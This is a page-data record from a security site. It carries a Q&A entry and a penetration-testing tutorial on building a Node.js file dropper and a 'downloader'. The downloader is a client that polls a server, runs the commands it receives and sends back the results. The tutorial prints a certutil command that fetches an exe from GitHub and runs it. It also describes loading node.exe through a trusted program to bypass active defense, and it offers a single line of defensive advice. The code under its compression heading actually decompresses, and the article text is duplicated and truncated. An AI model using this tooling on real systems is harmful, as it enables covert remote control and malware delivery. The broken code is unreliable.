[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f27w3xFwpgOR_LDJ1ES_AmtkwESR9oIR-kyoLFwssuWA":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},861,"What Node.js modules are essential for implementing the server and client in the article's Downloader?","The essential modules are `http` for creating the server and making client requests, `querystring` for parsing and stringifying POST data, and `child_process` for executing system commands on the client side. The article also uses `fs` for file operations and `zlib` for compression. No third-party packages are used—only the built-in Node.js modules. For a deeper dive into this technique, refer to the original article: [Node.js in Penetration Testing - Implementation of a Downloader](\u002Fnews\u002Fnode-js-in-penetration-testing-implementation-of-a-downloader).","\u003Cp>The essential modules are `http` for creating the server and making client requests, `querystring` for parsing and stringifying POST data, and `child_process` for executing system commands on the client side. The article also uses `fs` for file operations and `zlib` for compression. No third-party packages are used—only the built-in Node.js modules. For a deeper dive into this technique, refer to the original article: [Node.js in Penetration Testing - Implementation of a Downloader](\u002Fnews\u002Fnode-js-in-penetration-testing-implementation-of-a-downloader).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fnode-js-in-penetration-testing-implementation-of-a-downloader\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-nodejs-modules-are-essential-for-implementing-the-server-and-client-in-the--1777481638021","Node.js modules, http, querystring, child_process, built-in modules",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},210,"Node.js in Penetration Testing - Implementation of a Downloader","node-js-in-penetration-testing-implementation-of-a-downloader","Learn how to implement a Node.js downloader for penetration testing, covering file release, bypass techniques, and defense recommendations.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017235635_0_2b4b3f0fb8.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command 